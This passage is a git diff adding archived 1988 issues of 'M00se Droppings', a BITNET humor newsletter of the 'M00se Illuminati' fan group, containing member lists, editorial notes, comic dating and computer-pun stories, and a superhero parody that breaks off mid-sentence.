+*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ************** +------------------------------------------------------------------------------- + + +Alaska thr0ng JSJPC1 @ ALASKA Jonathan + JSMDG @ ALASKA Martin + +Bryn Mawr chapter M_PETTIT @ BRYNMAWR Midland Maniac + +Boston University chapter CLXLAUC @ BUACCA Rorshach + +Cornell chapter CBRY @ CORNELLA Ladykate + +Lansing, NY chapter B45J @ CRNLVAX5 Half-Elf + +Connecticut State U thr0ng CEBELENS_CHR @ CTSTATEU The Red Mage + CLAFFEY_JOR @ CTSTATEU Indiana Joe + PHINNEY_AVK @ CTSTATEU Phredde + WITHALL @ CTSTATEU Hobgoblin + +Hartford thr0ng DICKSON @ HARTFORD Pickle/MOON ROACH! + SZIMMERM @ HARTFORD Greymalkin + +Haverford thr0ng K_KRAVITZ @ HVRFORD Q. + S_BLINN @ HVRFORD Sean Blinn + +Loyola thr0ng MARY_BETH @ LOYVAX Mary Beth + PAMELA @ LOYVAX Mommydammit + SETH @ LOYVAX Seth + STASA @ LOYVAX Phoenix + +Maine thr0ng BURNS @ MAINE Sabre + IO80034 @ MAINE The Dragon + IO80222 @ MAINE RainMaker + RFK350B @ MAINE Guardian Angel + +Michigan Tech chapter WJB @ MTUS5 Sindex + +North Dakota State U. chapter UD140680 @ NDSUVM1 Nathan Irwin + +Penn State chapter WCF @ PSUECL Bill Fenner + +Stony Brook thr0ng CHOBBIE @ SBCCVM Admiral Lord Nelson + RRKHAN @ SBCCVM Romel + WALL @ SBCCVM Wall + +Sweden chapter ICE @ SEQZ51 Ice + +Siberacuse thr0ng EBLIVING @ SUNRISE Eric Livingstone (sp?) + JBANKERT @ SUNRISE CHAOS Engineer + RABEELER @ SUNRISE Beez + RETANTS @ SUNRISE Scamp + LIBLJR @ SUVM Niniane + +Towson State U. chapter S76NING @ TOWSONVX Paul + +Trinity thr0ng FANTASYG @ TRINCC Trinity Fantasy Guild + OPER3 @ TRINCC Razz + +U California Riverside chapter WATKINS @ UCRVMS Kevin + +U of New Hampshire chapter J_BUTMAN @ UNHH Oliver + +Governor's School chapter GSRHAMBY @ UTKVX3 Cocker + +Villanova thr0ng 054649739 @ VUVAXCOM Satoru Ushiyama + 188622462 @ VUVAXCOM Kamikaze + 193588131 @ VUVAXCOM Wolverine + 580074787 @ VUVAXCOM Colin O'Connell + CONS040 @ VUVAXCOM The Doctor + +Wesleyan thr0ng AGOLDBERG @ WESLEYAN Damsel + EAUBRY @ WESLEYAN ED + JBLUESTEIN @ WESLEYAN WabeWalker + JVINCENT @ WESLEYAN Lord Rassilon + JDOTY @ WESLEYAN The Keeper + RSIMON @ WESLEYAN Roanic + +Washington State U. thr0ng 24945863 @ WSUVM1 Bard + 23480853 @ WSUVM1 Ishtar + +Xavier chapter BRUGGMNJ @ XAVIER the WILD ONE!! + diff --git a/textfiles.com/magazines/M00SE/m00se06 b/textfiles.com/magazines/M00SE/m00se06 new file mode 100644 index 00000000..e1f3db9c --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se06 @@ -0,0 +1,301 @@ + _ /\ _ _ /\ _ +/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ +\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M O// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOO0 P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + + Issue #6 | Disclaimer: The Editor will place almost anything | Aug. 3, 1988 + ---------- in this newsletter out of a frantic desire to fill --------------- + the issue, so don't blame him for the quality or content of the submissions. + Excepting those he may have written himself, the enclosed items do not in any + way represent the Editor's opinions. In fact, let's be real safe, and say that + as far as this newsletter is concerned, he has no opinions at all. Okay? Good. + =============================================================================== + + ----------------------------------------------------------------------------- + ************************** EDITORIALS AND LETTERS *************************** + ----------------------------------------------------------------------------- + + Once again, a late and rather small issue of M00se Droppings etc.! +There are a few things to note: + + 1) Several people have agreed that since they are signed up to +the M00se Illuminati discussion on CSNEWS, and receive M00se Droppings from +there, it would be best to be removed from the normal mailing list. This +is entirely up to you. If you wish to be removed from the normal distribution +network of M00se Droppings, let me or Kamikaze know. Please do so soon, +as Kami has mentioned the M00se Droppings Distribution Network Mark II, +and it would be rotten if he had to remove lots of people from it after +he worked on it. + 2) Kami also suggested that, since M00se Droppings is often large, +I provide only updates of the general list every issue, with a separate +mailing of a full list now and then to make sure everybody's up to date. +I intend to take his suggestion; however, since this issue is short and +most of the changes to the list are alterations rather than additions, there +is a full list in this issue. We seem to have lost two members, Cocker +at Governer's School and one of our CTSTATEU chapters. If anybody has +information on these two missing m00ses, act on it as you see fit. We have +also added two members, the Old Dominion U thr0ng. Welcome, and bl00p! + 3) GASP! In Autoduel Quarterly issue 6/2, somebody has dared to +write a letter claiming that a group called 'The Illuminati' controls the +Anarchist Relief Front! Since we, of course, control that group, or would +pretend to if we didn't, I suggest a letter campaign directed at Autoduel +Quarterly's ADQ&A department setting them right on this issue. If you're +interested, let me know and I'll send you the address to use. Thank Indiana +Joe for this piece of information. + + And now, on with the issue. + + + PUBLIC RELATIONS OPPORTUNITY + ============================ + + I received a notice yesterday informing me that the tuition for +out-of-state students is increased from $1600 to $1975 per semester +and the per credit hour fee is now $132 instead of $107. Does anybody +out there know whether foreign students who have stayed in NY state for +more than one year claim in-state student status? If not, can the +mOOse or the illuminati do something about this. + +Helpppppppppppppppppppppppppppppppppp + +desperately yours +ALIEN + +------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************* +------------------------------------------------------------------------------- + + As some of you may know, Camp Relay II: The Quest For M00se (as I +have heard it called) will be taking place this weekend. Those of you invited, +I'll see you there; those who weren't, sorry, it's a closed party. But +hopefully SOMEBODY will have a giant thr0ng party soon! + The size of this party will probably be such that it will be near +reaching 'critical m00se'. + +------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ****************************** +------------------------------------------------------------------------------- + +Well, here's some fiction. I don't know if it's original or not, so i'm +putting it here. Unfortunately, I forget where it comes from, too. I think +a Maine chapter. Just haven't been that organized since my brakes failed... + + +Monday, I am going MOOS hunting. It is basically a simple activity, +but requires a good deal of advance preparation. In this business, +catching no MOOS at all is better than catching the wrong MOOS. + +There are many different kinds of MOOS, different in both appearence +and disposition. They come in different colors too, but that doesn't +seem to make a whole lot of difference. The hunter must know, before +actually leaving the safety of the hunting lodge, what kind of a MOOS +he wishes to bag. This descision by itself can take many years, but +after a few mistakes, one learns quickly or perishes--MOOS are dangerous +game. + +In order to catch a MOOS, you have to have a lure. Appearence is very +important, since a MOOS will tend to gravitate toward what it feels is +the best-looking in a crowd of hunters. Once you have managed to get +the MOOS at close quarters, the job becomes substantially more difficult, +so for the time being I'll talk about appearence preparation. + +Clothing is essential. Most MOOS will shy away from naked hunters unless +they know them pretty well already. And in any event, I don't know too +many hunters brave enough to walk around naked in that jungle to begin +with. + +As part of MY personal preparations, I first look over my wardrobe. This +is usually very depressing because I rapidly realize that none of my +clothing matches any particular fashion that has either existed in the +past or will exist in the near future. This can be a liability, since +weird clothing tends to attract weird MOOS (if any). Picking out what I +deem to be the best compromise out of the clean clothes pile, I then try +the outfit on. Well, the pants are a little baggy but they're comfortable. +The shirt has to go, though, because it makes me look too undefined. After +about three times through this rigamarole, I usually say "Fuck it" and +throw on an old sweatshirt and faded Bugle Boys (my one concession to the +world of fashion--and only because they're comfortable). + +Once you have selected a (usually inappropriate) outfit, it's time to tend to +your bodily appearence. A shower is usually a good idea, because MOOS that +are attracted to excessive body odor are usually not attractive to YOU. After +stepping out of the shower and soaking the bathroom floor, it is necessary to +examine one's self in the mirror for a few minutes to make sure that--in the +unlikely event that you DO bring home a MOOS--that there won't be anything +embarassing showing when you (un)dress it. + +During this time, you might bemoan the fact that nature did not endow you +with a more classically handsome facial structure--that is of course unless +you possess such a facial structure already, in which case I have a hammer +at the ready to help you with that problem. Eventually, you convince yourself +that you're not too bad looking--or at least that you're as good looking as +you're going to get without major reconstructive surgery. The stubble is +just at the right length, in any event. + +Various personal hygiene activities follow (such as towelling off before you +soak through the floor and start dripping on the kitchen below), each +meticulously performed up to the point where you become disgusted with +performing them and give up. + +Hair has always been a problem with me. Not that I have any lack of it, for +indeed it grows copiously on just about every available patch of skin on my +body. However, the hair on my head has always been a problem. After several +combings and rufflings which seem to achieve no effect other than to make +matters worse, I might stare wistfully at the can of Mousse my mother keeps +in the bathroom. But, alas, I made a vow long ago never to use that hideous +stuff, and with one final ruffle I decide to stick with the "windblown" look. + +Personal hygiene activities concluded, the next step is putting your clothes +on. For most of us, this presents no major logistical difficulty... But then +again, I have been known to have been last seen hopping down the hallway +with my sneaker caught in my pantleg because I forgot to put my pants on +first. + +Once dressed, a final view in the mirror is obligatory to judge the overall +effect. "Hey, not bad at all!" you might say to yourself--but the question +you must keep in mind is "Will it be effective in attracting the type of +MOOS I'm after?" Usually, the answer is "No," but since it is usually too +late to change anything by this point, your only options are to stay home +or throw trepidation to the winds and go out anyway. + +Certain kinds of MOOS are attracted by the type of vehicular transportation +you use to get you to the hunting grounds. At one point in my life, I had +a nice, high-performance sports car to use--but ironically at that point in +my life I had no need to hunt for MOOS because I already had one. When that +MOOS went, the car went up for sale and now I have a $600 brown Chevette with +randomly distributed nasty dents. Not the kind of car, as Mr. Picher would +say, that one would use when "Cruising for MOOS." + +One of the gravest errors that a MOOS hunter can comit is to hunt alone. +Not only is it more dangerous, but the MOOS will look at you and think that +if you can't even keep the company of another hunter you probably aren't +worth the trouble to investigate further. Another MOOS-hunter folly is to +hunt with someone who is substantially better looking than you are. There +is nothing more discouraging than seeing the MOOS you have in your sights +gravitate toward your hunting partner. + +Once you have selected a hunting partner, the next step is finding a +location where you can hunt. Unfortunately, it seems as though any MOOS +"hot spots" are usually targeted by many, many, other hunters as well. +This makes the outcome of a hunting expedition more in doubt, but there +is little to be done for it except to persevere. + +When you arrive at the hunting ground, you must set about making yourself +visible. You can do this by shouting "I want MOOS!" at the top of your +lungs, but then you be subsequently visible because there will be a large +area around you which neither hunters or MOOS will cross into. + +The whole process after this point becomes too tedious to explain. Usually, +you end up with nothing, or with a MOOS that you decide you don't really +want (which is usually the result of not REALLY knowing what kind of MOOS +you want in the first place). After trying several locations, you and your +hunting partner usually give up and go home. + +Of course, this is not to say that you did not enjoy your MOOS hunting +expedition. There seems to be some inner peace that comes from this +communion with nature, some natural tranquility that comes from pursuing +the dreaded MOOS and coming home completely skunked. + +Eventually, the wise hunter realizes that active MOOS hunting is not +very fruitful or beneficial. MOOS seem to posses a great sense of irony, +because the good ones usually show up when the hunter isn't putting forth +any particular effort to find one. Unfortunately, the MTBMOOS (Mean Time +Between MOOS) seems to increase proportionately with the quality of the +MOOS. Ahh, well... C'est la MOOS, eh? + +------------------------------------------------------------------------------- +*************************** MISCELLANEOUS NONSENSE **************************** +------------------------------------------------------------------------------- + +This was sent by the same person, but I'm putting it here in the hopes that +I got at least one of them in the right place. + + + MR. MICRO MEETS MS. MINI + +Micro was a real-time operator and a dedicated multi-user. His broadband +protocol made it easy for him to interface with numerous input/output +devices, even if it did mean time-sharing. His links with authors and +editors connected him with many of Silicon Valley's expert systems and +artificial intelligentsia. +One evening, just as the sun was crashing, he arrived home and parked his +Motorola 68000 in the main drive (he had missed the 5100 bus that morning) +and noticed an elegant piece of liveware admiring the daisy wheels in his +garden. "She looks user-friendly. I'll see if she'd like an update +tonight" he thought to himself. +He browsed over to her casually, admiring the power of her twin, 32 bit +floating point processors. Even her parms were parsed! He hadn't seen +structured lines like this since his prom. "How are you, Honeywell?" he +asked. +"Yes, I am well," she responded, batting her optical fibers engagingly and +smoothing her console over her curvilinear functions. +Mini was her name, and she was delightfully engineered with eyes like COBOL +and a Prime mainframe architecture that set Micro's peripherals networking +all over. Fears of becoming a UNIX were soon fading like vaporware. +Micro settled for the straight line approximation. "I'm stand-alone +tonight, and looking for an assembly," he said. "How about computing a +vector to by base address. I'll output a byte to eat, and we could get +offset later on." +Mini ran her priority process for 2.6 milliseconds then transmitted: "8K, +I've been dumped myself recently and a new page is just what I need to +refresh my discs. I'll park my machine cycle in your background and meet +you inside." She walked off leaving Micro admiring her solenoids. "Wow! +What a global variable! I wonder if she'll like my firmware?" Micro +thought. +That night they sat down at the process table for a form feed of fiche and +chips and a bucket of Baudot. Mini was in a conversational mode and +expanded on ambiguous argument while Micro gave occasional acknowledgments, +although in reality he was analyzing the shortest and least critical path +to her entry point. He finally settled on the old `Would you like to see +my benchmark' subroutine. But Mini was one step ahead. She was suddenly +up and stripping off her parity bits to reveal the full functionality of +her operating system software!! +"Let's get BASIC you RAM, and go for some downtime on the spread sheets," +she panted. Micro was loaded by this stage; he was afraid his software +wouldn't respond. Fortunately, his hardware policing module had a +processor of it's own and soon was in danger of overflowing it's output +buffer - a hang-up that Micro had recently consulted his analyst about. +"Core!" was all he could say. +Micro soon recovered, however, and Mini went down on the DEC and opened her +device files to reveal her data set ready. His floppy soon was coming up +to speed. He acessed his fully packed root device and was just about to +start pushing into her stack when she executed an escape sequence by +popping back to level 1. + +"Oh no!" she piped. "You're not sheilded!" + +"Reset, baby," he replied. "I've been debugged." + +"I haven't got my current loop enabled, and I'm not ready to support child +processes," she protested. "That would make me mother bored!" + +"Don't run away," he said. "I'll generate an interrupt." + +"No way! That's too error prone, and I can't abort because of my design +philosophy." + +Micro was locked in by this stage, though, and could not be turned off. +She soon stopped his thrashing by introducing a voltage spike into his main +supply, whereupon he fell over with a head crash and went to sleep. + +"Computers," she thought as she compiled herself at the asynch. "All they +ever think about is hex." + +------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ************** +------------------------------------------------------------------------------- + + Hey, whaddaya know, this is longer than I thought it was. The general +list will follow this issue in the mail. Until next time, Bl00p! + diff --git a/textfiles.com/magazines/M00SE/m00se07 b/textfiles.com/magazines/M00SE/m00se07 new file mode 100644 index 00000000..0b2f3f3d --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se07 @@ -0,0 +1,236 @@ + _ /\ _ _ /\ _ +/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ +\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M O// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOO0 P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + + Issue #7 | Disclaimer: The Editor will place almost anything | Aug. 15, 1988 + ---------- in this newsletter out of a frantic desire to fill --------------- + the issue, so don't blame him for the quality or content of the submissions. + Excepting those he may have written himself, the enclosed items do not in any + way represent the Editor's opinions. In fact, let's be real safe, and say that + as far as this newsletter is concerned, he has no opinions at all. Okay? Good. + =============================================================================== + + ----------------------------------------------------------------------------- + ************************** EDITORIALS AND LETTERS *************************** + ----------------------------------------------------------------------------- + + Hello, all. As I write this, it is the only thing going into the +newsletter. I have received *nothing else*. If I'm going to keep this +thing coming out, I need contributions! Send interesting news, fiction, +anything! I've heard some GREAT ideas from some of you, but they don't +do me or any other m00ses any good unless you write them up and send them +to me! + Which brings me to the next topic. I've asked Sabre to stop forwarding +M00se Droppings to CSBB.M00se, mainly to ease up the load on BITNET that +must occur everytime M00se Droppings gets shot out of there (over 60 rather +large documents....) We DO want to keep using it, though! So here's what +it's for, at least in my opinion. Let's use, as an example, the plea we +had from a person suffering tuition overload, last issue (or was it the +issue before?) The initial document would go through m00se droppings, where +everyone can read it. Any discussion that follows, however, should take +place on csbb.M00se. This way, once a topic is started rolling in M00se +Droppings, it can continue at a much faster rate on CSBB.M00se. + As another example, there is an *extremely* m00sey idea in the works +at our Maine thr0ng. They are (supposedly!) going to write up a proposal +and send it to me, and I will include it in M00se Droppings. But we don't +want to wait for the next issue to come out to see what kind of thoughts +people have about this idea, so we would discuss it on CSBB.M00se. Perhaps +the final version would reappear in M00se Droppings, but all the modification +should be done on CSBB.M00se. + + Well, it's now been several days, and I've received two items. +So here comes issue 7...... + + Bill. + +------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************* +------------------------------------------------------------------------------- + + None this time, I'm afraid. Except in reference to Camp Relay II. +I discovered, to my bewilderment, that Kamikaze did not, in fact, name it +Camp Relay II: The Quest for M00se. *I* didn't make it up. I don't know +who did. But in any case, that wasn't the official name, it was Camp Relay +II only. There were, however, lots of m00ses there, and we had fun. Perhaps +someone will write up a report? (Hint, hint) + +------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ****************************** +------------------------------------------------------------------------------- + + Again, none here....... + +------------------------------------------------------------------------------- +*************************** MISCELLANEOUS NONSENSE **************************** +------------------------------------------------------------------------------- + +Couple items for this. Namely: + +>it was a sign! +> +>i was at a store today...and i saw tons of mason jewelry... +>and right next to a masonic ring, and cufflinks..there was a m00se. +>weird, huh? +> +>stacey + + +and: + +-------------------- those that have ridden with her, know -------------------- + +THE ADVENTURES OF A FORD ESCORT..(Or driving with a crazy m00se).. +..(Or The Three wheel drive Ford escort) + +The day was the day before this, Sunday August the 14th. +The Subject a blue Ford Escort..name unknown. +The driver a Stacey (Starfire?) strange name.. +The passengers two obviously mentally unbalanced people.. +calling themselves Sindex and Hobgoblin. + +Hi! there, folks! M00selock Holmes here with a report on the strange goings on +of fellow m00ses.. + +It all started one evening in England when i was seated in my den awaiting the +famous ...oopps sorry..wrong tale... + +The day was Sunday the 14th, the time 6:23pm..I was sitting picnicking near a +local reservoir (very m00se like hangout in the hot weather) when all of the +sudden i spotted some fellow m00ses out for a sunday drive. A nice day for a +quiet drive. I sat there drinking my tea in the shade as they tore around a +corner, careening towards a jogger and some kids (it was close by a half an +inch) and passed by in a blur.. I jumped up eager to find out where my fellow +m00se would be heading in such a hurry (spilled my tea too..) and got +into my truck, an orange Isuzu. The chase was afoot! I spotted them going out +of the reservoir and up a dirt road...(in a Ford Escort..incredible; +these americans are such brave people) I mean up! The road went up a hill +and into a field..The music coming from the car durring all of this was +varied...from Lost Boys to the infamous Beetlejuice sound track.. + +Well, that was too much..The question was were they trying to confuse the world +by showing that a ford escort is really an off road vehicle, or was the car a +transformer? + +I put my Isuzu in gear and followed as they went straight into the woods.. +The ford escort putted along fine until the road suddenly filled with ruts. +Well, to make a long story short the silly m00ses got themselves stuck good +in the middle of the woods in a ford escort. It was up to me to save the day. +Before i got a chance great clouds of smoke came out of the car..It occured +to me that they were thinking..egads!.. I heard Sindex mutter something about +the car being a three wheel drive car and the next thing i knew all was well.. +The ford had transformed into super ford!! Pulling itself outa the ditch it +lurched forwards back down the road, spilling coolant along the way..(well +what do you expect from a Ford?). + +Later i found out the folk had been in search of reservoirs that day to +do strange water rituals to escape the heat..(under water bl00ping?) + +They ended their day with a chinese food dinner and a few close run-ins with +the local police.. + + Well thats all for now..Gota Vam00se.. + + M00selock Holmes...... + +Starfire:"the question is, what is M00selock Holmes smoking in that pipe?", +"Vanilla beans?" (a weird hallucinagenic substance..) + + +------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ************** +------------------------------------------------------------------------------- + +Alaska thr0ng JSJPC1 @ ALASKA Jonathan + JSMDG @ ALASKA Martin + +Bryn Mawr chapter M_PETTIT @ BRYNMAWR Midland Maniac + +Boston University chapter CLXLAUC @ BUACCA Rorshach + +Cornell chapter CBRY @ CORNELLA Ladykate + +Lansing, NY chapter B45J @ CRNLVAX5 Half-Elf + B45J @ CRNLVAX5 The Innkeeper + +Connecticut State U thr0ng CLAFFEY_JOR @ CTSTATEU Indiana Joe + COLANGELO @ CTSTATEU Ken Colangelo + PHINNEY_AVK @ CTSTATEU Phredde + WITHALL @ CTSTATEU Hobgoblin + +Hartford thr0ng BANKERT @ HARTFORD Scub + BEAUBIEN @ HARTFORD Sindex + DICKSON @ HARTFORD Pickle/MOON ROACH! + SZIMMERM @ HARTFORD Greymalkin + TANTS @ HARTFORD Scamp + +Haverford thr0ng K_KRAVITZ @ HVRFORD Q. + S_BLINN @ HVRFORD Sean Blinn + +Loyola thr0ng MARY_BETH @ LOYVAX Mary Beth + PAMELA @ LOYVAX Mommydammit + SETH @ LOYVAX Seth + STASA @ LOYVAX Phoenix + +Maine thr0ng BURNS @ MAINE Sabre + IO80034 @ MAINE The Dragon + IO80222 @ MAINE RainMaker + RFK350B @ MAINE Guardian Angel + +North Dakota State U. chapter UD140680 @ NDSUVM1 Nathan Irwin + +Old Dominion University Thr0ng MRH100C @ ODUVM Frizbog Gordnik + SAB100C @ ODUVM Sandi Bedford + +Penn State chapter WCF @ PSUECL Bill Fenner + +Stony Brook thr0ng CHOBBIE @ SBCCVM Admiral Lord Nelson + RRKHAN @ SBCCVM Romel + WALL @ SBCCVM Wall + +Sweden chapter ICE @ SEQZ51 Ice + +Saunacuse thr0ng CRUSSELL @ SUNRISE GypsyLynx + EBLIVING @ SUNRISE Eric Livingstone (sp?) + JBANKERT @ SUNRISE CHAOS Engineer + RABEELER @ SUNRISE Beez + LIBLJR @ SUVM Niniane + +Towson State U. chapter S76NING @ TOWSONVX Paul + +Trinity thr0ng FANTASYG @ TRINCC Trinity Fantasy Guild + OPER3 @ TRINCC Razz + +U California Riverside chapter WATKINS @ UCRVMS Kevin + +U of New Hampshire chapter J_BUTMAN @ UNHH Oliver + +Villanova thr0ng 054649739 @ VUVAXCOM Satoru Ushiyama + 188622462 @ VUVAXCOM Kamikaze + 193588131 @ VUVAXCOM Wolverine + 580074787 @ VUVAXCOM Fiben + CONS040 @ VUVAXCOM The Doctor + +Wesleyan thr0ng AGOLDBERG @ WESLEYAN Damsel + EAUBRY @ WESLEYAN ED + JBLUESTEIN @ WESLEYAN WabeWalker + JVINCENT @ WESLEYAN Lord Rassilon + JDOTY @ WESLEYAN The Keeper + RSIMON @ WESLEYAN Roanic + +Washington State U. thr0ng 24945863 @ WSUVM1 Bard + 23480853 @ WSUVM1 Ishtar + +Xavier chapter BRUGGMNJ @ XAVIER the WILD ONE!! + diff --git a/textfiles.com/magazines/M00SE/m00se08 b/textfiles.com/magazines/M00SE/m00se08 new file mode 100644 index 00000000..bbfba01d --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se08 @@ -0,0 +1,284 @@ + _ /\ _ _ /\ _ +/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ +\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M O// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOO0 P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + + Issue #8 | Disclaimer: The Editor will place almost anything | Aug. 19, 1988 + ---------- in this newsletter out of a frantic desire to fill --------------- + the issue, so don't blame him for the quality or content of the submissions. + Excepting those he may have written himself, the enclosed items do not in any + way represent the Editor's opinions. In fact, let's be real safe, and say that + as far as this newsletter is concerned, he has no opinions at all. Okay? Good. + =============================================================================== + + ----------------------------------------------------------------------------- + ************************** EDITORIALS AND LETTERS *************************** + ----------------------------------------------------------------------------- + + THAT'S better. I received a few submissions this week, finally, +and we have a good issue (in my humble opinion as editor). Still waiting +on Sabre's contribution (hint-hint, Sabre!) but since his is extremely m00sey +and dangerous to the world's sanity, it's going to be worth the wait. +However, we must not slack off. Keep the contributions coming, so the +weirdness may continue. Remember, the fall semester is approaching fast, +and I am expecting and hoping that the number of BITNET chapters will explode +into hugeness. We want to welcome them with quality confusion. + Only two new chapters this time, they're listed below. Welcome to the +conspiracy! + And so, on with the issue.... + + -Pickle. + + +------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************* +------------------------------------------------------------------------------- + + Nothing really, here, but Half-Elf has requested that I make a note +in this issue in reference to Camp Relay II. She claims (I take no sides, +I'm the impartial editor) that it was proven that half-elves are faster +than kamikazes, since the was able to tag him from behind during the football +game. I, for one, can assure all m00ses that half-elves are much harder +than they look, and one should be careful when running into them, if one +wants to move during the following three days without one's muscles screaming. + + -Pickle. + +------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ****************************** +------------------------------------------------------------------------------- + +I was preparing this issue when I got an urgent note from Wolverine, saying +(in effect): "Hold the presses!" (I've always wanted to say that.) I +did, and it was well worth it....... + + +&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& +Author's Note: The following story doesn't really have anything to do with & +The M00se Illuminati. Although the main characters ARE members of the & +M00se Illuminati, the group they form is NOT sponsored by the Illuminati.... & + & +Or *IS* it? & +&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& + + + Four seemingly normal men walk through the path that takes them to +Fall Creek, where they plan to spend the day swimming and relaxing. Unknown +to them, strange toxic chemicals have been recently dumped in the area. When +they dive in, the chemicals interact with their genetic DNA, forming a chain +reaction through their systems. They become......... + + THE LARGE MANLY MEN IN WET CLOTHING + === ===== ===== === == === ======== + + It was a peacful day at Fall Creek. The sky was crystal blue, the trees +a lush green, the water clear as glass. Suddenly, the stillness was broken +by a booming voice. + "KOW - A - BUUNNGGGGGAAAAAAAAAAAAA!" the voice boomed as a truly large +manly body leapt into the air, curled into a ball of taut muscle and sinew, +and landed in the water with a thunderous crash. Water spewed forty feet +in the air. Sabre swam sputtering back to the surface, huge, bulking muscles +propelling him through the water at amazing speed. + Wolverine treaded water easily and applauded. "A truly manly cannonball, +Sabre!" + "A truly manly compliment, oh Wolverine," Sabre said, bowing his head. +"What a fine manly day it is!" + "Makes one glad to be a manly man," said Guardian Angel. + "A Large Manly Man in Wet Clothing," corrected Alacrity. + "Ah, yes. How stupid of me to foget!" said Guardian Angel. + "Anyway, 'twas a fine cannonball indeed Sabre!" G.A. said. + "Magnificent! Stupendous! Hhmm, what does our moll Dusk think of it?" +Alacrity asked. + Off to the side, sitting on a rock shelf was Dusk, trying her best to +look inconspicuous. 'I don't know these people...I never heard of these +people...I have no idea WHO they are,' she thought. Sighing, she thought, +'Why did I get stuck with them? I don't want to be their "moll"! Ever since +those toxic chemicals had been dumped in here that day, they've been acting +like this. This manly man stuff is driving me batty!' + "Well Dusk, what did you think?" Wolverine asked. + "It was, uh, very manly Sabre," she said. + "Why thank you Dusk! What a womanly thing for you to say!" + Just then, their attention was distracted by a small slide of loose +rocks. As the Large Manly Men in Wet Clothing looked up, they saw three +women in lavishly-done hairstyles, lead by a thin, scuzzy looking man. +The women were being careful to stay out of the spray of the falls, so as +not to wet their hair. + Wolverine gasped. "Good Lord! The Nefarious Hair Girls!" + "And their leader, The Scum Puppy!" Alacrity answered. + "They must have been sent by the Brotherhood of Evil Relayers." Sabre said. + "Shall we attack?" asked G.A. + "Maybe they're here to just swim," offered Dusk. + "Hah! Not the Nefarious Hair Girls!" said Wolverine. "They would NEVER +risk getting their hair wet! They must be planning something." + Just then, The Scum Puppy yelled out, "We know you are here, Large Manly +Men in Wet Clothing! Come out and face us!" + "They have affronted our manly pride and egos." said Sabre. "Manly men, +ATTACK!" + The large manly men leaped forward, hurling massive rocks and tree trunks +at the Hair Girls. As the storm of rocks and trees flew towards them, one +of the Hair Girls, Muffy, pulled out a large can of Super Strength Hair Spray +and sprayed it toward the incoming weaponry. The spray immediately caught +the flying debris, and it dropped into the water in a sticky mass. + "GOOD LORD!" exclaimed G.A. + "Quickly," boomed Wolverine, "assume crouch positions!" + The four manly men crouched down in the water, preparing to spring forward +and pummel their adversaries. As they did, the other two Hair Girls, Babs and +Jennie-Jen, pulled out the world's largest hair dryer, turned the air-speed +to high, aimed it at the Large Manly Men, and turned the switch to on. +Instantly, a large gust of wind swept the Large Manly Men out of the water and +pinned them against the opposite cliff wall. + "Oh No!" yelled Sabre, trying to make his voice heard above the wind. +"Our...our clothes are drying! We'll weaken if our clothes dry!" + "What shall we do!" yelled G.A. + "We'll be helpless at the hands of the Hair Girls! They may give us +fashionable hair cuts!" + "NNNNNNNOOOOOOOOOOOOOOOOOOOOOOOOOOOOO!!!" screamed Wolverine in agony at +the thought of having a yuppie hairstyle. + Suddenly, Dusk had a thought. "Guys! Form a wall! Maybe that will +bounce the air back towards them!" + "That's it!" cried Wolverine. "Quickly! While we still have some of +our manly strength. Crowd together and we will form a wall with our broad, +muscular, manly chests! That should deflect this evil wind!" + Fighting with an effort beyond that of ordinary men, the Large Manly Men +crowded together, forming a wall with their massive pectoral muscles. The wind +from the hair dryer from Hell bounced off 